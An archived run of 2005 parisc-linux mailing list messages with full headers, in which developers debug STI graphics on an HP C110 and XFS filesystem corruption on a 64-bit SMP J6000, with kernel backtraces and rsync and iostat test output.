	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00888-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 11:43:37 -0600 (MDT)
Original-Received: from pop-a065d19.pas.sa.earthlink.net
	(pop-a065d19.pas.sa.earthlink.net [207.217.121.253])
	by free.linux.hp.com (Postfix) with ESMTP id AF6877D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 11:43:37 -0600 (MDT)
Original-Received: from h-68-164-14-7.chcgilgm.dynamic.covad.net ([68.164.14.7]
	helo=[192.168.2.2])
	by pop-a065d19.pas.sa.earthlink.net with esmtp (Exim 3.36 #10)
	id 1DKgSy-0002AH-00; Sun, 10 Apr 2005 10:43:24 -0700
User-Agent: Mozilla Thunderbird 1.0.2-1.3.2 (X11/20050324)
X-Accept-Language: en-us, en
In-Reply-To: <20050410165816.GF8669@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hQArYidCeSE5+76WZHQhaXN2IGRvbwDI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22607

Matthew Wilcox wrote:

>On Sun, Apr 10, 2005 at 10:17:08AM -0500, Bryan W. Headley wrote:
>  
>
>>Everything works fine, up til the dreaded STI -switchover. So, it boots, 
>>but video isn't initialized right. Let's see: I'm using tty0, with 
>>monitor type 3 (1280x1024 Vesa), using graphics3.
>>
>>Of course, it worked fine with kernel 2.4.x.
>>    
>>
>
>What graphics card are you using?
>
>  
>
Watching 2.4.20 boot, it says,

16. U2-IOA BC GSC+ Port (7) at 0xf3fbf000 [8/63], versions 0x501, 0x1, 
0xc,  add
itional addresses: 0xf3f80000
17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7, 0xb
18. Coral SGC Graphics (10) at 0xf4000000 [10/16], versions 0x4, 0x0, 0x77
19. U2-IOA BC GSC+ Port (7) at 0xf3fff000 [10/63], versions 0x501, 0x1, 0xc

And later says, STI device: HPA4071B_LZ

I don't know if this is useful, but the fact that there is nothing in 
graphics0 .. graphics2 an issue?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Sarge (24-Mar) on c110
Date: Sun, 10 Apr 2005 20:59:43 +0200 (CEST)
Lines: 52
Approved: news@gmane.org
Message-ID: <2363.192.168.1.67.1113159583.squirrel@www.puszczka.com>
References: <42594374.2040803@earthlink.net>
	<20050410165816.GF8669@parcelfarce.linux.theplanet.co.uk>
	<4259652B.4090007@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623751 13783 80.91.229.3 (22 Nov 2014 02:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: "Bryan W. Headley" <bwheadley@earthlink.net>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 18:55:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 10 Apr 2005 20:55:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 899847D67A;
	Sun, 10 Apr 2005 12:55:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01590-03; Sun, 10 Apr 2005 12:55:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 952AE7D67D;
	Sun, 10 Apr 2005 12:55:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 972027D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 12:55:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01169-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 12:55:02 -0600 (MDT)
Original-Received: from bgo1smout1.broadpark.no (bgo1smout1.broadpark.no [217.13.4.94])
	by free.linux.hp.com (Postfix) with ESMTP id 0C0577D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 12:55:02 -0600 (MDT)
Original-Received: from bgo1sminn1.broadpark.no ([217.13.4.93])
	by bgo1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IEQ00EGZUYBN6D0@bgo1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 10 Apr 2005 20:49:23 +0200 (CEST)
Original-Received: from tolstoy.puszczka.com ([80.203.39.188])
	by bgo1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IEQ00DYDV9VIS20@bgo1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 10 Apr 2005 20:56:19 +0200 (CEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id B959413397; Sun,
	10 Apr 2005 20:59:43 +0200 (CEST)
Original-Received: from 192.168.1.67 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Sun, 10 Apr 2005 20:59:43 +0200 (CEST)
In-reply-to: <4259652B.4090007@earthlink.net>
Importance: Normal
X-Priority: 3 (Normal)
User-Agent: SquirrelMail/1.4.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9BMrYpM9eSE5+76WZHQhaXN2IGRvb8CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22608

> Matthew Wilcox wrote:
>
>>On Sun, Apr 10, 2005 at 10:17:08AM -0500, Bryan W. Headley wrote:
>>
>>
>>>Everything works fine, up til the dreaded STI -switchover. So, it boots,
>>>but video isn't initialized right. Let's see: I'm using tty0, with
>>>monitor type 3 (1280x1024 Vesa), using graphics3.
>>>
>>>Of course, it worked fine with kernel 2.4.x.
>>>
>>>
>>
>>What graphics card are you using?
>>
>>
>>
> Watching 2.4.20 boot, it says,
>
> 16. U2-IOA BC GSC+ Port (7) at 0xf3fbf000 [8/63], versions 0x501, 0x1,
> 0xc,  add
> itional addresses: 0xf3f80000
> 17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7,
> 0xb
> 18. Coral SGC Graphics (10) at 0xf4000000 [10/16], versions 0x4, 0x0, 0x77
> 19. U2-IOA BC GSC+ Port (7) at 0xf3fff000 [10/63], versions 0x501, 0x1,
> 0xc
>
> And later says, STI device: HPA4071B_LZ
>
> I don't know if this is useful, but the fact that there is nothing in
> graphics0 .. graphics2 an issue?

No, the graphics0 vs. graphics2 thing shouldn't make any difference at all.
What kernel is Sarge using - Helge Deller submitted some fixes for Hyperbowl
in 2.6 a while back, but I'd have thought they'd have made it into Debian
by now.

I sent Helge a Hyperbowl to help him debug (not one with the Z board, just
a plain 4071B), but it sounded like he was too busy with other stuff to
hack on it right now.

Does the Hyperbowl support double buffering (can't remember off hand) and
if so, is it enabled? If its enabled, turn it off - it won't work.

-Andy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Sun, 10 Apr 2005 22:57:47 -0600
Lines: 100
Approved: news@gmane.org
Message-ID: <20050411045747.GA30629@colo.lackof.org>
References: <20050404110025.GA6987@tausq.org>
	<4208AA1B000184AE@mail-3-bnl.tiscali.it>
	<20050408205428.GJ1833@baldric.uwo.ca>
	<20050409021049.0d0a851d@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623751 13785 80.91.229.3 (22 Nov 2014 02:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2005 04:55:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 11 Apr 2005 06:55:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3D947D6B5;
	Sun, 10 Apr 2005 22:55:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03411-08; Sun, 10 Apr 2005 22:55:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4BC37D6AB;
	Sun, 10 Apr 2005 22:55:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0B0B7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 22:55:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03225-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 22:55:41 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 436197D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 22:55:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4CFA4298059;
	Sun, 10 Apr 2005 22:57:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01941-10; Sun, 10 Apr 2005 22:57:47 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BEB9B298058; Sun, 10 Apr 2005 22:57:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050409021049.0d0a851d@Tatooine.r3z0>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N2YoYsc/eSE5+76WZHQhaXN2IGRvb4Ds
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22609

On Sat, Apr 09, 2005 at 02:10:49AM +0200, Thibaut VARENE wrote:
> Just for the records:
>
> while trying to debug the XFS issue on my J6k, here what i noticed:
>
> 32bit kernel: no bug

Sorry, though my j6k did not panic with 32-bit kernel, there is
definitely some XFS bug(s?).  Test output and details follow.

grundler <511>uname -a
Linux gggj6k 2.6.12-rc2-pa1 #5 SMP Sun Apr 10 14:13:59 PDT 2005 parisc GNU/Linux

That's despite sym2 using I/O Port space:
	CONFIG_SCSI_SYM53C8XX_IOMAPPED=y

I got alot (> 500 linus scrollback) of the following on console:

0x0: ed 41 00 00 00 10 00 00 a0 c4 59 42 4c ab 26 42
Filesystem "sdb3": XFS internal error xfs_da_do_buf(2) at line 2271 of file fs/4
Backtrace:
 [<1027d514>] xfs_da_do_buf+0x354/0x754
 [<1027d974>] xfs_da_read_buf+0x2c/0x38
 [<1028157c>] xfs_dir2_block_lookup_int+0x74/0x1fc
 [<1028146c>] xfs_dir2_block_lookup+0x1c/0xb8
 [<1027fd30>] xfs_dir2_lookup+0xc8/0x140
 [<102ad50c>] xfs_dir_lookup_int+0x50/0x118
 [<102b26a8>] xfs_lookup+0x68/0xac
 [<102c0894>] linvfs_lookup+0x60/0xa4
 [<1019e8d8>] __lookup_hash+0xc0/0xf8
 [<1019fa58>] lookup_create+0x68/0xcc
 [<1019ff1c>] sys_mkdir+0x78/0x134
 [<1010e178>] syscall_exit+0x0/0x14

And then the last console output was:
0x0: 58 44 32 44 0e 58 01 a8 07 c8 00 20 09 50 00 20
Filesystem "sdb3": XFS internal error xfs_dir2_block_addname at line 128 of fil4
Backtrace:
 [<10281124>] xfs_dir2_block_addname+0x6c0/0x6d4
 [<1027fc14>] xfs_dir2_createname+0x124/0x178
 [<102b3ee8>] xfs_mkdir+0x484/0x6e4
 [<102c07b8>] linvfs_mknod+0x1d0/0x210
 [<1019fe78>] vfs_mkdir+0x94/0xc0
 [<1019ff68>] sys_mkdir+0xc4/0x134
 [<1010e178>] syscall_exit+0x0/0x14

xfs_force_shutdown(sdb3,0x8) called from line 1091 of file fs/xfs/xfs_trans.c. c
Filesystem "sdb3": Corruption of in-memory data detected.  Shutting down filesy3
Please umount the filesystem, and rectify the problem(s)
SMP CALL FUNCTION TIMED OUT! (cpu=1), try 1


My test was "time rsync -aWx --stats / /mnt" with two disks:

grundler@gggj6k:~$ lsscsi
[1:0:5:0]    disk    HP       18.2GB C 80-D94N D94N  /dev/sda
[1:0:6:0]    disk    SEAGATE  ST318203LC       0001  /dev/sdb
grundler@gggj6k:~$ df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda3             16911576  13625088   2427416  85% /
tmpfs                  1812796         0   1812796   0% /dev/shm
/dev/sda1                85528     28487     52625  36% /boot
/dev/sdb3             17171264  13671156   3500108  80% /mnt

Ext3 on sda3 and freshly made "mkfs.xfs -f /dev/sdb3":
	/dev/sda3 on / type ext3 (rw,errors=remount-ro)


The rsync complained *alot* (> 500 lines of scrollback) about:
rsync: stat "/mnt/home/tftpboot/pa8800/var/spool/postfix/deferred/8" failed: Input/output error (5)

rsync stats output:

Number of files: 394227
Number of files transferred: 349625
Total file size: 12845404686 bytes
Total transferred file size: 12845269080 bytes
Literal data: 12845327899 bytes
Matched data: 0 bytes
File list size: 7360585
Total bytes sent: 12869390640
Total bytes received: 6992520

sent 12869390640 bytes  received 6992520 bytes  5379729.75 bytes/sec
total size is 12845404686  speedup is 1.00
rsync error: some files could not be transferred (code 23) at main.c(702)

real    39m52.694s
user    5m52.069s
sys     7m34.079s


hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Sun, 10 Apr 2005 23:15:17 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <20050411051517.GB30629@colo.lackof.org>
References: <20050404110025.GA6987@tausq.org>
	<4208AA1B000184AE@mail-3-bnl.tiscali.it>
	<20050408205428.GJ1833@baldric.uwo.ca>
	<20050409021049.0d0a851d@Tatooine.r3z0>
	<20050411045747.GA30629@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623751 13794 80.91.229.3 (22 Nov 2014 02:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2005 05:13:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 11 Apr 2005 07:13:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2090B7D687;
	Sun, 10 Apr 2005 23:13:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04052-05; Sun, 10 Apr 2005 23:13:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24C0B7D6AC;
	Sun, 10 Apr 2005 23:13:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B98577D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:13:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03911-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:13:10 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 362277D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:13:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6A36C298059;
	Sun, 10 Apr 2005 23:15:18 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02327-06; Sun, 10 Apr 2005 23:15:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 05095298058; Sun, 10 Apr 2005 23:15:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050411045747.GA30629@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OmIoYos9eSE5+76WZHQhaXN2IGRvb0CH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22610

On Sun, Apr 10, 2005 at 10:57:47PM -0600, Grant Grundler wrote:
> Sorry, though my j6k did not panic with 32-bit kernel, there is
> definitely some XFS bug(s?).  Test output and details follow.

Just for comparison, I ran the same workload on ext3 and it worked fine.
Started with "mke2fs /dev/sdb3; mount /dev/sdb3 /mnt" and then ran
my pet test-of-the-week again:

root@gggj6k:~# time rsync -aWx --stats / /mnt

Number of files: 394228
Number of files transferred: 349626
Total file size: 12845690938 bytes
Total transferred file size: 12845555332 bytes
Literal data: 12845560371 bytes
Matched data: 0 bytes
File list size: 7360607
Total bytes sent: 12869623206
Total bytes received: 6992540

sent 12869623206 bytes  received 6992540 bytes  9908900.15 bytes/sec
total size is 12845690938  speedup is 1.00

real    21m39.937s
user    5m47.908s
sys     5m50.986s
root@gggj6k:~# 


"iostat 10" on another login reported pretty impressive numbers at
times like for this 30 second period (rsync says avg is 1/4th of this):

avg-cpu:  %user   %nice    %sys %iowait   %idle
          27.54    0.00   24.04   28.49   19.94

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda             208.60     43289.60       100.80     432896       1008
sdb              46.40        22.40     40007.20        224     400072

avg-cpu:  %user   %nice    %sys %iowait   %idle
          28.96    0.00   24.06   40.77    6.20

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda             212.30     45693.60        68.80     456936        688
sdb              48.40         4.00     35515.20         40     355152

avg-cpu:  %user   %nice    %sys %iowait   %idle
          30.70    0.00   23.45   37.30    8.55

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda             180.20     48866.40        51.20     488664        512
sdb              55.40        23.20     37864.80        232     378648



hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Sun, 10 Apr 2005 23:49:56 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20050411054956.GC30629@colo.lackof.org>
References: <20050404110025.GA6987@tausq.org>
	<4208AA1B000184AE@mail-3-bnl.tiscali.it>
	<20050408205428.GJ1833@baldric.uwo.ca>
	<20050409021049.0d0a851d@Tatooine.r3z0>
	<20050411045747.GA30629@colo.lackof.org>
	<20050411051517.GB30629@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623752 13802 80.91.229.3 (22 Nov 2014 02:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:52 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2005 05:48:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 11 Apr 2005 07:48:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4614B7D6BD;
	Sun, 10 Apr 2005 23:47:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04358-03; Sun, 10 Apr 2005 23:47:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83EB07D6B2;
	Sun, 10 Apr 2005 23:47:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 064CA7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:47:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03911-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:47:49 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
